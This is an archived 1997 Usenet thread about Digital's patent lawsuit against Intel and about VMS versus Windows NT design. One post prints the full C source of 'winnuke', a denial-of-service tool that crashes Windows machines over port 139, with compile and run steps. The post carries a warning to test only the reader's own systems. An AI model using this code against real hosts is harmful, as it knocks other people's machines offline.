Digital vs. Intel, now in the courts
mat...@seqaxp.bio.caltech.edu
In what must be the strangest turn yet in Digital's campaign to make the
Alpha a competitor to Intel's microprocessors we seem to have now moved from
the marketplace to the court room. See (as of 5/13/97):
http://www.digital.com/flash/intelpr.html
http://www.digital.com/welcome.html
In these Digital announces a suit against Intel, in which Digital claims
that Intel violated 10 of Digital's patents in building the Pentium,
Pentium Pro, and Pentium II, and is sueing for an injunction (which would
presumably halt production of all three models) and damages.
Although this is independent of the suit's technical merits, I do find it
curious that it comes at this particular moment, that is, simultaneously
with the release of the first "PC" level Alpha chips. The Pentium has been
around for several years, and the Pentium Pro for one. Perhaps it is
possible that Digital has just learned about and/or confirmed these alleged
patent violations, and the timing of the lawsuit is coincidental. Or it
may be that Digital has known about these patent infringements for some
time and has timed this suit in order to weaken Intel at a critical
juncture for Digital, and so provide an opening for this new class of Alpha
chips, and the machines based on them. Hopefully some reporter can ferret
out the truth about the timing of this suit soon, or we'll have to wait a
long time for it to come out in court (as cases like this usually take
years to resolve.)
Regards,
David Mathog
mat...@seqaxp.bio.caltech.edu
Manager, sequence analysis facility, biology division, Caltech
**************************************************************************
*Affordable VMS? See: http://seqaxp.bio.caltech.edu:8000/www/pcvms.html *
**************************************************************************
Jerry Leichter
| ...we'll have to wait a long time for it to come out in court (as
Actually, I suspect we'll see a *practical* resolution fairly quickly.
The pattern of these suits is pretty regular. The first big argument
will be over where the suit is heard: Massachusetts or Oregon. Need-
less to say, each side will want a home-court advantage. (In some
cases, the choice of court effectively decides the outcome. I don't
know if that's the case for this particular suit.)
The next issue - the real biggy - is over DEC's request for an
injunction. To get an injunction, DEC will claim that the continuing
sales of Intel parts based on DEC patents will immediatly and
irrepairably harm DEC. (Language to this effect appears in the DEC
press release.) If a court is convinced this is the case, it can enjoin
Intel from selling any chips using the contested patents. At that
point, the show is over: Intel can't possibly afford to stop selling
Pentium's, Pentium Pro's, or Pentium II's for even a couple of weeks,
much less for the time it would require to try the case; they'd be
forced to settle, pretty much on any terms DEC brought to the table.
If DEC *doesn't* get an injunction, then this settles into a long drawn-
out battle, with little immediate effect on the market. Ultimately,
even if DEC wins, all they'd likely get out of it is damages and
royalties. This might amount to a fair bit of money - TI made more
money on royalties on some of the early VLSI patents than on the rest of
their business - but it's unlikely to be really dramatic.
BTW, in answer to the question "Why now?": There are many reasons, I'm
sure. However, no one is obligated to sue at any particular time
(though if you put it off too long, there are situations in which the
court will decide that you've implicitly approved of the behavior at
issue, and it's too late to contest it now. In this case, the interval
is short enough - no more than 3 years - and the area complex enough
that one could reasonably argue that it took a while even to understand
that there was an infringement - that I doubt DEC will have any
trouble.) Certainly, from the point of view of DEC's strategy, this is
the *perfect* time to put a stumbling block in Intel's way. But even
from the point of view of legal strategy ... remember the injunction.
It's generally very difficult to convince a court to grant an injunction
that will effectively close your opponent down. You have to show that,
(a) without it, you will be so badly damaged that no remedy a court
could come up with later would repair the damage; (b) you have a prima
facia case - i.e., there's at least a reasonable chance that you'll win.
Until now, DEC would have had a hard time showing that sales of Pentiums
were directly and severely injuring it; Intel could argue that Alphas
were in a market sufficiently distinct that any harm was minor.
(Besides, DEC itself was selling tons of Pentium-based machines;
obviously *it* didn't think the Alpha could answer the needs of
customers for those machines, right?)
Now, the markets clearly overlap. DEC is going after the PC market with
the 21164PC and FX!32; and Intel is more and more pushing into the high
end server market. So a claim of irrepairable damage is much easier to
make.
BTW, the markets are taking this seriously. At the close today - when
the broad market was down a bit (DJ down 8.7), Intel took a big hit
(down almost 7 points), while DEC was up 2.
It should be interesting!
-- Jerry
Michael Pettengill
Jerry Leichter wrote:
> BTW, in answer to the question "Why now?": There are many reasons, I'm
> sure.
See:
http://www.techweb.com/investor/newsroom/tinews/may/0513palmer.html
--
Michael Pettengill NIO/B2 Salem, NH
Digital Cluster Buster - Devos make 'em; we break 'em.
[DEC:.nio.]cvg::pettengill pette...@cvg.enet.dec.com
Carl Perkins
In article <33790226...@cvg.enet.dec.com>, Michael Pettengill <PETTE...@cvg.enet.dec.com> writes...
One would hope that the article is more accurate than the terminology used
in it. The Alpha is a "64-byte processor"? That error is repeated
throughout the article. Likewise, the Pentium Pro is not a 32-byte processor.
I bet neither is what Palmer actually said. That beign the case, are we
sure that they got the terms "billions", "1995", and any others right?
For example, was the qustion really "Given that Intel ships more Intel-based
than Alpha-based systems, isn't this a case of biting the hand that feeds?"
or was it "Given that Digital ships more Intel-based than Alpha-based
systems, isn't this a case of biting the hand that feeds?" I would guess
the latter since the former doesn't actually make much sense (since the
answer would have been "Well duh! Of course Intel ships more Intel-based
systems than it does Alpha-bases systems, although Intel doesn't ship many
complete systems to begin with.") which would mean that there is yet another
error in the article.
--- Carl
R...@cutler.east.dialog.com
mat...@seqaxp.bio.caltech.edu (David Mathog) writes:
>
>Although this is independent of the suit's technical merits, I do find it
>curious that it comes at this particular moment, that is, simultaneously
>with the release of the first "PC" level Alpha chips. The Pentium has been
Read snippets that Digital began investigating in earnest
last year based on Wall Street Journal comments.
As far as timing... several comments including "genius" passed
my eyeballs. Timing was outstanding in my opinion. Do you think
there might be these same techniques in Merced/P7? ;-)
>around for several years, and the Pentium Pro for one. Perhaps it is
>possible that Digital has just learned about and/or confirmed these alleged
>patent violations, and the timing of the lawsuit is coincidental. Or it
>may be that Digital has known about these patent infringements for some
>time and has timed this suit in order to weaken Intel at a critical
>juncture for Digital, and so provide an opening for this new class of Alpha
>chips, and the machines based on them. Hopefully some reporter can ferret
>out the truth about the timing of this suit soon, or we'll have to wait a
>long time for it to come out in court (as cases like this usually take
>years to resolve.)
>
We will all learn more based on Intel's public reaction. Either way,
it forces us all to think. Is Digital correct? Many have
said based on past history Digital does NOT file frivilous lawsuits.
The old story of rousing a sleeping bear applies here.
You better have several big guns at the ready. Reasoning seems
to indicate Digital has big guns. Time will tell.
Rob
Joe Pizzi
At 06:14 AM 5/14/97 -0600, you wrote:
>
>One would hope that the article is more accurate than the terminology used
>in it. The Alpha is a "64-byte processor"? That error is repeated
>throughout the article. Likewise, the Pentium Pro is not a 32-byte
processor.
>I bet neither is what Palmer actually said. That beign the case, are we
>sure that they got the terms "billions", "1995", and any others right?
>For example, was the qustion really "Given that Intel ships more Intel-based
>than Alpha-based systems, isn't this a case of biting the hand that feeds?"
>or was it "Given that Digital ships more Intel-based than Alpha-based
>systems, isn't this a case of biting the hand that feeds?" I would guess
>the latter since the former doesn't actually make much sense (since the
>answer would have been "Well duh! Of course Intel ships more Intel-based
>systems than it does Alpha-bases systems, although Intel doesn't ship many
>complete systems to begin with.") which would mean that there is yet another
>error in the article.
You noticed that, too, eh?
Regards,
Joe Pizzi <joe....@ttu.edu>
Steve Reece, Systems.
Another interesting aspect of this is the patent laws themselves.
Here in the UK at least if you are found guilty of infringing a
patent then you are legally entitled to the profits which the
infringer _and_their_customers_ have made as a result of the
infringement. This being the case, Intel and Intel's customers could
be losing an awful lot of cash over this if Digital so desired and
they won....
Steve. SR...@le.ac.uk Computer Centre, University of Leicester, UK.
"No! Try not! Do, or do not - there is no try!"
This message does not necessarily reflect University of Leicester policy.
Jeff Blaalid
Terry C. Shannon wrote:
> Methinks the **real** target is the ia64 architecture. Gee, wouldn't it
> be nice (from Digital's perspective) to force the Merced crew to go back
> to the drawing board???
Terry,
Even better - force Intel to build Alpha's for its ia64!!
The most potential is to actually affect Microsoft and finally break
the Wintel bond - thus finally making Microsoft a platform independent
S/W provider.
Jeff Blaalid
- Opinion express is mine - not of my employer, wife, sons,
neighbor,...
Terry C. Shannon
Carl Perkins wrote:
>
> In article <33790226...@cvg.enet.dec.com>, Michael Pettengill <PETTE...@cvg.enet.dec.com> writes...
> }Jerry Leichter wrote:
> }> BTW, in answer to the question "Why now?": There are many reasons, I'm
> }> sure.
> }
> }See:
> }http://www.techweb.com/investor/newsroom/tinews/may/0513palmer.html
> }
> }--
> }Michael Pettengill NIO/B2 Salem, NH
> }Digital Cluster Buster - Devos make 'em; we break 'em.
> }[DEC:.nio.]cvg::pettengill pette...@cvg.enet.dec.com
>
> in it. The Alpha is a "64-byte processor"? That error is repeated
> throughout the article. Likewise, the Pentium Pro is not a 32-byte processor.
> I bet neither is what Palmer actually said. That beign the case, are we
> sure that they got the terms "billions", "1995", and any others right?
> For example, was the qustion really "Given that Intel ships more Intel-based
> than Alpha-based systems, isn't this a case of biting the hand that feeds?"
> or was it "Given that Digital ships more Intel-based than Alpha-based
> systems, isn't this a case of biting the hand that feeds?"
The exact wording of the question (I posed it at the analyst
teleconference on May 13) was:
"Coming on the heels of the recently announced decision to use AMD K6
chips in low-end desktops, and given the fact that Digital ships more
intel-based systems than Alpha-based systems, might this lawsuit be
construed by some as an effort to bite the hand that feeds you?
Alternatively, might it be seen as a preemptive strike against the
diminished Alpha/Intel performance differentiation inherent in Intel’s
forthcoming ia64 architecture?"
Bob Palmer's response was:
"It's impossible for me to speculate on what others will think..."
Whereupon BP cut down the "bite the hand that feeds you" straw man.
Alas, he didn't rise to the ia64/Merced bait, which I believe is at the
heart of this event.
Terry Shannon
Publisher, Shannon Knows DEC
sha...@world.std.com
Terry C. Shannon
mat...@seqaxp.bio.caltech.edu wrote:
>
> In what must be the strangest turn yet in Digital's campaign to make the
> Alpha a competitor to Intel's microprocessors we seem to have now moved from
> the marketplace to the court room. See (as of 5/13/97):
>
> http://www.digital.com/flash/intelpr.html
> http://www.digital.com/welcome.html
>
> In these Digital announces a suit against Intel, in which Digital claims
> that Intel violated 10 of Digital's patents in building the Pentium,
> Pentium Pro, and Pentium II, and is sueing for an injunction (which would
> presumably halt production of all three models) and damages.
>
> curious that it comes at this particular moment, that is, simultaneously
> with the release of the first "PC" level Alpha chips. The Pentium has been
> possible that Digital has just learned about and/or confirmed these alleged
> patent violations, and the timing of the lawsuit is coincidental. Or it
> may be that Digital has known about these patent infringements for some
> time and has timed this suit in order to weaken Intel at a critical
> juncture for Digital, and so provide an opening for this new class of Alpha
> chips, and the machines based on them. Hopefully some reporter can ferret
> out the truth about the timing of this suit soon, or we'll have to wait a
> long time for it to come out in court (as cases like this usually take
> years to resolve.)
>
You don't have to be a conspiracy theorist to realize that nothing's
completely coicidental. It apparently took Digital quite some time to
get its ducks in a row for the lawsuit; one gating factor was the public
announcement of the Pentium II chipset.
Methinks the **real** target is the ia64 architecture. Gee, wouldn't it
be nice (from Digital's perspective) to force the Merced crew to go back
to the drawing board???
Nigel Arnot
> Terry C. Shannon wrote:
>
> > Methinks the **real** target is the ia64 architecture. Gee, wouldn't it
> > be nice (from Digital's perspective) to force the Merced crew to go back
> > to the drawing board???
>
> Even better - force Intel to build Alpha's for its ia64!!
>
> The most potential is to actually affect Microsoft and finally break
> the Wintel bond - thus finally making Microsoft a platform independent
> S/W provider.
>
If they could derail and delay Intel sufficiently that a significant migration
to NT on Alpha takes place, and get a few journalists to start referring
to X86 processors as "legacy"...
This might even happen. The sad thing is that it won't make much difference
to Bill Gates getting even richer, and won't do anything to save VMS from
neglect both within DEC and outside. If anything it'll just focus DEC and
the press onto NT even more.
Nigel Arnot
N...@MAXWELL.PH.KCL.AC.UK
"In the beginning there was nothing, which exploded."
Keith A. Lewis
ca...@gerg.tamu.edu (Carl Perkins) writes in article <14MAY199...@gerg.tamu.edu> dated 14 May 1997 06:14 CST:
>I bet neither is what Palmer actually said. That beign the case, are we
>sure that they got the terms "billions", "1995", and any others right?
Here's a better one:
http://search.washingtonpost.com/wp-srv/WPlate/1997-05/14/165L-051497-idx.html
--Keith Lewis kle...@mitre.org
PGP key available. http://www.clark.net/pub/klewis/
The above may not (yet) represent the opinions of my employer.
Larry D Bohan, Jr.
>Well, from a pure DEC perspective they'd prefer to turn Wintel into Wigital.
>If they could derail and delay Intel sufficiently that a significant migration
>to NT on Alpha takes place, and get a few journalists to start referring
>to X86 processors as "legacy"...
>
>This might even happen. The sad thing is that it won't make much difference
>to Bill Gates getting even richer, and won't do anything to save VMS from
>neglect both within DEC and outside. If anything it'll just focus DEC and
>the press onto NT even more.
OTOH, if that did happen, there would quite a few more shops
that would have a platform capable of running OVMS, a possible
boon for Digital, once those shops discover that Micro$oft
<still> doesn't have a clue about enterprise-class computing.
together w/ FX32, perhaps DEC ought to (optionally) hang a
Windoze GUI server on top of VMS, anticpating the NETpc's and
"Windoze terminals" to come.
lbo...@dbc.com, (719) 488-1652
Larry D Bohan, c/o Data Broadcasting Corp
1900 S Norfolk, Ste #150, San Mateo CA 94403-1151
Mark E. Levy
Larry D Bohan, Jr. wrote:
> Windoze GUI server on top of VMS, anticpating the NETpc's and
> "Windoze terminals" to come.
Ever hear of "Affinity?"
http://www.openvms.digital.com/affinity/index.html
--
Mark Levy, Computer Consultant
OpenVMS, MS-Windows, MAC/OS, Networks
System Management Associates, Inc.
LEV...@ACM.ORG
jfmezei
Jerry Leichter wrote:
> BTW, in answer to the question "Why now?":
On CBC Newsworld yesterday (or was it CNN , I am not sure), there was
mention of Digital having suspected Intel of "inspiration" for a long
time but did not have enough ammunition.
But it seems that lately, Andy Grove was quoted as saying something to
the order of: "Now we don't need to copy others ~anymore~".
I hope that Digital does come out of this with at the very least
widespread recognition that it does have the fastest architecture and
prevent Intel (and licencees) from using "fastest server in the world"
anymore.
Like a tea tray in the sky...
In article <009B44A8....@maxwell.ph.kcl.ac.uk>, Nigel Arnot <sys...@maxwell.ph.kcl.ac.uk> writes...
>to NT on Alpha takes place, and get a few journalists to start referring
>to X86 processors as "legacy"...
>
>This might even happen. The sad thing is that it won't make much difference
>to Bill Gates getting even richer, and won't do anything to save VMS from
>neglect both within DEC and outside. If anything it'll just focus DEC and
>the press onto NT even more.
Exactly. I just got a new 'INFOSHARE' dec propoganda leaflet apparently
aimed largely at meeting going trade rag reading executives and it mentions
the new '1-3-9 strategy', which is far as I can tell is to make love with
bill gates harder and faster than anyone previously thought possible for the
purposes of riding the coatails of their bully software monopoly. Yet another
company afraid of their own superior SW technology in the face of the marketing
machine of bgInc. and the hordes of unquestioning people steeped in mainstream
home consumer bill gates culture, many of whom are, most unfortunately, in a
position to affect purchasing decisions. The irrational dumbing down of all
computer markets the better to embrace the sprawling hype and megabuckflow
of the bill gates monopoly. Gimme an everloving break!
Tom O'Toole - ecf_...@jhuvms.hcf.jhu.edu - tom.o...@jhu.edu
JHUVMS system programmer - http://jhuvms.hcf.jhu.edu/~ecf_stbo/
This message has been brought to you by bill gates, inventor of the internet
'The Internet'... is not a valid Win32 application, bill. Boycott bg shoveware!
Like a tea tray in the sky...
In article <337c3ae5....@news.dbc.com>, lbo...@dbc.com (Larry D Bohan, Jr.) writes...
>OTOH, if that did happen, there would quite a few more shops
>that would have a platform capable of running OVMS, a possible
>boon for Digital, once those shops discover that Micro$oft
><still> doesn't have a clue about enterprise-class computing.
Those shops won't get it though. Don't forget these are the guys who read trade
rags that say 'everyone should go to bgNT, it's the next thing!' and who think,
'well, I don't know shit about computers, but I've got a PC on my desk running
bill gates, so I'm familiar with bill gates, and since I'm the boss my job is
to make decisions for everyone, therefore we will immediately migrate to bill
gates!'
When reality hits, rather than go back to a tried and proven platform that has
been tainted by the industry press with the 'L' word, they'll throw money at
the problem and muddle through and after the fact the trade rag reading
managers will attempt to justify their terrible decision. A LOT of money is
riding on shoehorning bgNT into the enterprise, and the technical people will
be burning a lot of midnight oil 'bringing the mountain to bill gates'
mohammed' and somehow making it sort of work [there are also tons of
programmers, clearly seeing that these managers will buy bill gates lock,stock
and barrel, who have already learned or are learning bgNT to grab their share
of the bill gates monopolymoney pie]. And by then we will ALL be forced to run
bill gates shoveware in every tier of computing, because their won't be any
money left for software development to be done under any other platform!
Nigel White
On this thread, we've had no response from our intel colleague Raz Uri.
I wonder why?...
Raz, you listening?
Yeah, I bet you are!
What's the word from "inside intel"?
----------------------------------------------------------------------------
-------
Nigel White mailto:nig...@forward-comp.co.uk
or... mailto:ni...@synergex.com
Larry Kilgallen
In article <3.0.1.32.19970516093221.006e0444@tserver>, Nigel White <nig...@forward-comp.co.uk> writes:
> On this thread, we've had no response from our intel colleague Raz Uri.
> I wonder why?...
If Raz Uri is an Intel employee, I don't wonder why.
> Raz, you listening?
> Yeah, I bet you are!
>
> What's the word from "inside intel"?
Probably Raz Uri has not yet been demoted to lawyer and thus
is in the bulk of Intel (and DEC) employees told not to comment
regarding this pending case.
Personally, I think it better to leave discussion of this out of
comp.os.vms and only in comp.sys.dec where there are _many_ threads
of it.
Larry Kilgallen
Robert Koehler
Steve Reece, Systems. (sr...@leicester.ac.uk) wrote:
: Another interesting aspect of this is the patent laws themselves.
: patent then you are legally entitled to the profits which the
: infringer _and_their_customers_ have made as a result of the
: infringement. This being the case, Intel and Intel's customers could
: be losing an awful lot of cash over this if Digital so desired and
: they won....
Maybe DEC's just looking for a source of funds to pay off that keyboard lawsuit
they lost. ;-)
------------------------------------------------------------------------------
Bob Koehler | Computer Sciences Corporation
| System Sciences Division
Steve Reece, Systems.
David Webb commented:
> What would be nice is what I think most people thought we would get when
> affinity first came out ie
> The ability to take Intel or Alpha WNT executables run them through
> something like FX!32 on the VMS system to link them with something like
> the WIN/U libraries so you could run them directly on the VMS system.
And so say all of us. That was what I expected to get when I first heard
of Affinity but the reality was somewhat different.....
Alan Greig
Like a tea tray in the sky... wrote:
> When reality hits, rather than go back to a tried and proven platform that has
I think reality may have hit home quite hard since the release of the
winnuke program on the net a few days ago. For those who haven't yet
heard it's a few lines of C which will allow you to crash any Windows
machine running an IP stack from anywhere on the Internet. It's really
quite spectacular. I downloaded and compiled it under VMS and it crashes
WIndows NT machines every time. Microsoft has rushed out a patch
of course but considering the simplicity of winnuke.c (basically it
just sets the OUT-OF-BAND flag and transmits any old data to port 139) I
can't help wondering how many other fatal bugs lurk in Microsoft's IP
stack
alone.
As anyone can find it with a web search for winnuke.c I don't have any
problems with posting a version which will run under VMS here. I DO NOT
advise anyone to run this other than to check the vulnerabilty of
machines
under their own control. I want to stress that I have no connection with
the authoriship of this program. I just found it with an altavista
search.
$ cc/prefix=all winnuke
$ link winnuke
$ winnuke :== $disk:[dir]winnuke
$ winnuke host.mydomain
/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, OpenVMS 6.2, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye"; /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
memset((char *)&blah,'0',sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length );
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
sleep(2);
printf("Done!\n");
close(s);
}
--
Alan Greig Tel: (01382) 308802
University of Abertay Dundee Email: A.G...@tay.ac.uk
** Never underestimate the power of human stupidity **
Alan Greig
Alan Greig wrote (duplicated code section when I cut and pasted
originally
- here's what it should have been)
Jerry Leichter
| Maybe DEC's just looking for a source of funds to pay off that
| keyboard lawsuit they lost. ;-)
I'm told (but can't verify) that it was reversed on appeal.
-- Jerry
Kevin Handy
In article <5lhibh$g...@explorer.csc.com>, rkoe...@csc.com says...
>
>
>Maybe DEC's just looking for a source of funds to pay off that keyboard
lawsuit
>they lost. ;-)
>
of that so far.
D.Webb
In article <337B54...@ACM.ORG>, "Mark E. Levy" <LEV...@ACM.ORG> writes:
>Larry D Bohan, Jr. wrote:
>> Windoze GUI server on top of VMS, anticpating the NETpc's and
>> "Windoze terminals" to come.
>
>Ever hear of "Affinity?"
>
>http://www.openvms.digital.com/affinity/index.html
>
>--
>
Mark Levy,
Yes I've heard of it but unfortunately the emphasis on it seems to be firmly
on using VMS as the database part of three tier client server.
What would be nice is what I think most people thought we would get when
affinity first came out ie
The ability to take Intel or Alpha WNT executables run them through something
like FX!32 on the VMS system to link them with something like the WIN/U
libraries so you could run them directly on the VMS system.
David Webb
VMS Systems Manager
Middlesex University
Nigel White
At 10:24 AM 5/16/97 GMT, Larry Kilgallen wrote:
>Personally, I think it better to leave discussion of this out of
>comp.os.vms and only in comp.sys.dec where there are _many_ threads
>of it.
Is there a listserv gateway to comp.sys.dec? I have no access to news right
now.
Paddy....@transgrid.nswgovgrid.telememo.au
--smxr-97051701014422656
Jean-Francois Mezei wrote:
>I hope that Digital does come out of this with at the very least
>widespread recognition that it does have the fastest architecture and
>prevent Intel (and licencees) from using "fastest server in the world"
>anymore.
(Standard IANAL, just a humble programmer type disclaimer)
I very much doubt that any company can stop, by litigation, advertising claims.
It probably depends on the law of the land as to how untruthful such a claim is
as to whether the company can be prosecuted for lying through advertising. Such
prosecution (if my memory serves me) would be done in UK by a Government body
not another private litigant. How other countries work, I do not know, but
would assume similar legalities.
I further doubt that Digital will come out of this with better "recognition".
If they prove a point in law (American or International?) the media will not
cite that Digital is better in technology, merely that they won x dollars (x may
be large) from the Intel chip manufacturers.
It would be up to Digital to capitalise on any decision in their favour with
some sort of marketing hype. Are they capable of that?
Regards, Paddy
Paddy O'Brien,
System Planning,
TransGrid,
PO Box A1000, Sydney South,
NSW 2000, Australia
Tel: +61 2 9284-3063
Fax: +61 2 9284-3148
Email: paddy.o'br...@transgrid.nswgovgrid.telememo.au
--smxr-97051701014422656
VMSmail To information: torca::MRGATE::"TELEMEMO::2=telememo::3=oz.au::*RFC-822\Info-VAX(a)Mvb.Saic.Com::1=au"
VMSmail CC information: OBRIEN
--smxr-97051701014422656--
Terry C. Shannon
Like a tea tray in the sky... wrote:
>
> >to NT on Alpha takes place, and get a few journalists to start referring
> >to X86 processors as "legacy"...
> >
> >This might even happen. The sad thing is that it won't make much difference
> >to Bill Gates getting even richer, and won't do anything to save VMS from
> >neglect both within DEC and outside. If anything it'll just focus DEC and
> >the press onto NT even more.
>
> Exactly. I just got a new 'INFOSHARE' dec propoganda leaflet apparently
> aimed largely at meeting going trade rag reading executives and it mentions
> the new '1-3-9 strategy', which is far as I can tell is to make love with
> bill gates harder and faster than anyone previously thought possible for the
> purposes of riding the coatails of their bully software monopoly.
Ah, 'tis clear you don't understand the much-vaunted 1x3x9 Strategy:
1 customer
3 sales managers
9 vice presidents
Glenn C. Everhart
The notion that affinity might mean being able to run NT binaries on
VMS appeals to me also, and to many.
The technical problem, however, is that the APIs for NT are not a finite
set of services with argument blocks; there are "zillions" of little
calls to do this and that, and wind/u covers only a smallish part of
the whole.
Worse, not all the APIs are even revealed to the world. Go look over
at www.ntinternals.com and see, for an example, the defragmentation
internals documented which Microsoft does not document. Rumor has it
there are many more such calls, which might be called from J Random
NT binary. If it's tough to implement the full set of known APIs,
it's even harder to do the unknown ones...
To be sure, logic dictates that there must be a low level kernel
interface which is less varied, and MUCH more VMS like. But to support
NT binaries, you have to support all the shareable image entry points
(DLLs) AND all THEIR interactions.
That's rather a lot. It is neither a well bounded nor a finite
problem, since these DLL interfaces keep getting added to, not only
by the OS vendor, but by many product vendors. (Ever notice how often
installing this or that product installs a bunch of new copies (or sometimes
old copies) of DLLs you might have on an NT box? Configuration control
in NT or W95 is messy...
And porting that same stuff to VMS would be messier.
..personal opinion of course...
glenn everhart
Nigel W
At 02:44 PM 5/20/97 GMT, Larry D Bohan, Jr. wrote:
>such undisciplined muck amazes me that folks can manage to
>write a NT app w/ any amount of robustness.
Well of course they *can't!* Who knows any robust NT apps?
Larry D Bohan, Jr.
On 19 May 1997 12:29:45 GMT, ever...@arisia.gce.com (Glenn C.
Everhart) wrote:
>The technical problem, however, is that the APIs for NT are not a finite
>set of services with argument blocks; there are "zillions" of little
>calls to do this and that, and wind/u covers only a smallish part of
>the whole.
> [...snip..]
>That's rather a lot. It is neither a well bounded nor a finite
>problem, since these DLL interfaces keep getting added to, not only
>by the OS vendor, but by many product vendors. (Ever notice how often
>installing this or that product installs a bunch of new copies (or sometimes
>old copies) of DLLs you might have on an NT box? Configuration control
>in NT or W95 is messy...
> And porting that same stuff to VMS would be messier.
amen to all that.
my favorite way to illustrate this, is suggest that one pull up any
MS Visual C++ IDE, and do a search for "Get";
last time i checked, i got 1600+ references; a real
hodge-podge mish-mash, ie Get WindowAttribThis, Get WindowAttribThat,
GetCurrentDirectory (or somesuch...).
<NOTHIING> quite like VMS's implementation of $GETSYI, $GETJPI,
$GETQUI, et al.
worse still, is that some routines return 1 on failure, others, -1,
or 0. and still others, an invalid handle, or yet some other status
returned from another related routine, from deep inside that routine's
call chain.
such undisciplined muck amazes me that folks can manage to
write a NT app w/ any amount of robustness.
issues like these, illustrate, to me anyway, very well, DEC's
strong home advantage in the experience && maturity of of its
developers/engineers; for quite a few of them, i'll wager that OpenVMS
was their 2nd or 3rd design effort. in contrast, more than a number
of times have i heard Micro$oft's developers as "a bunch of teenagers"
whether that's really true or not, other hearsay suggests that
MS does prefer hire 'em green, right out of school; perhaps
like the military, they prefer them young && easier to mold ...
lbo...@dbc.com.no_spam, (719) 488-1652
Martin Vorlaender
Larry D Bohan, Jr. (lbo...@dbc.com.no_spam) wrote:
: ever...@arisia.gce.com (Glenn C. Everhart) wrote:
: >The technical problem, however, is that the APIs for NT are not a finite
: >set of services with argument blocks; there are "zillions" of little
: >calls to do this and that, and wind/u covers only a smallish part of
: >the whole.
: amen to all that.
Amen, indeed!
: my favorite way to illustrate this, is suggest that one pull up any
: MS Visual C++ IDE, and do a search for "Get";
: last time i checked, i got 1600+ references; a real
: hodge-podge mish-mash, ie Get WindowAttribThis, Get WindowAttribThat,
: GetCurrentDirectory (or somesuch...).
That's MS' naming convention for WIN32: <verb>[<attribute>]<object> .
So all (or nearly all ;-) WIN32 functions start with Get, Put, Create,
Open, Close, etc.
I'm amazed how little they learned from their implementing OS/2, where
all system API functions are prefixed with the category they belong to
(much like SYS$, LIB$, MTH$...)
: <NOTHIING> quite like VMS's implementation of $GETSYI, $GETJPI,
: $GETQUI, et al.
Amen, again!
: worse still, is that some routines return 1 on failure, others, -1,
: or 0. and still others, an invalid handle,
AMEN!
: or yet some other status
: returned from another related routine, from deep inside that routine's
: call chain.
And: In contrast to VMS, where all return codes are documented, MS
didn't care to lay down which error codes GetLastError() may yield...
: such undisciplined muck amazes me that folks can manage to
: write a NT app w/ any amount of robustness.
That doesn't amaze me: There aren't any, really :-)
cu,
Martin
(who would give his left arm to stay with his company, but return to
full-time VMS and X programming instead of having to deal with MS Win-Crap)
--
| Martin Vorlaender | WNT & VMS programmer
"UNIX is user friendly. | work: m...@pdv-systeme.de
It's just selective about | home: mar...@radiogaga.harz.de
who its friends are." | http://www.harz.de/~martin/
David Cathey (Remove MX to mail)
Larry D Bohan, Jr. wrote:
> strong home advantage in the experience && maturity of of its
> developers/engineers; for quite a few of them, i'll wager that OpenVMS
> was their 2nd or 3rd design effort. in contrast, more than a number
> of times have i heard Micro$oft's developers as "a bunch of teenagers"
Well, sort of. There was OS/8, TOPS-10/20, RSX-11, RSTS-11,
and eventually OpenVMS. DEC had several O/S's to learn from that has
culmulated into OpenVMS. The sad thing is Cutler had to capitulate
to a Windows assimilation of his theoretically sound base O/S.
You'd think he would have taken the tenets of procedure calling
standards with him as well.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
David L. Cathey |Inet: davidc@mx?.montagar.com
Montagar Software Concepts |Fone: (972)-578-5036
P. O. Box 260772, Plano, TX 75026 |http://www.montagar.com/~davidc/
Postmaster, Hostmaster, Webmaster |http://www.montagar.com
jfmezei
David Cathey (Remove MX to mail) wrote:
> culmulated into OpenVMS. The sad thing is Cutler had to capitulate
> to a Windows assimilation of his theoretically sound base O/S.
> You'd think he would have taken the tenets of procedure calling
> standards with him as well.
I think it is quite pretentious of the VMSer to think that Cutler
had so much design authority over NT and that he would have taken
his VMS knowledge with him.
Cutler was told to replace DOS with a real kernel over which Windows
could run, over which teh windows API could run etc etc.
If you look at the PSION PDA operating system (called EPOC), you'll also
find many many similarities with VMS. Event Flags, Interprocess
Mailboxes, shared memory between processes, process priorities, and even
a utility (SPY) which is the equivalent to SHOW SYS. Its IO system is
similar to VMS (an equivalent to $ASSIGN with the device name
determining which driver to use, and $QIO which is more or less
independant of the device itself.).
NT is an WINDOWS operating system with modern operating systems
services. They were implemented with the Windows API mentality.
Stop thinking that NT is VMS with WINDOWS above it.
NT differs from DOS in that it has real operating system features, but
the later are not the exclusivity of VMS.
Robert Koehler
jfmezei ("[nospam]jfmezei"@videotron.ca) wrote:
: David Cathey (Remove MX to mail) wrote:
: > culmulated into OpenVMS. The sad thing is Cutler had to capitulate
: > to a Windows assimilation of his theoretically sound base O/S.
: > You'd think he would have taken the tenets of procedure calling
: > standards with him as well.
: I think it is quite pretentious of the VMSer to think that Cutler
: had so much design authority over NT and that he would have taken
: his VMS knowledge with him.
One can see a lot more from the internals than from the API.
Having done VMS device drivers for years, and a bit of RSX device drivers
a while back, and now having read up on WNT device drivers, there is no
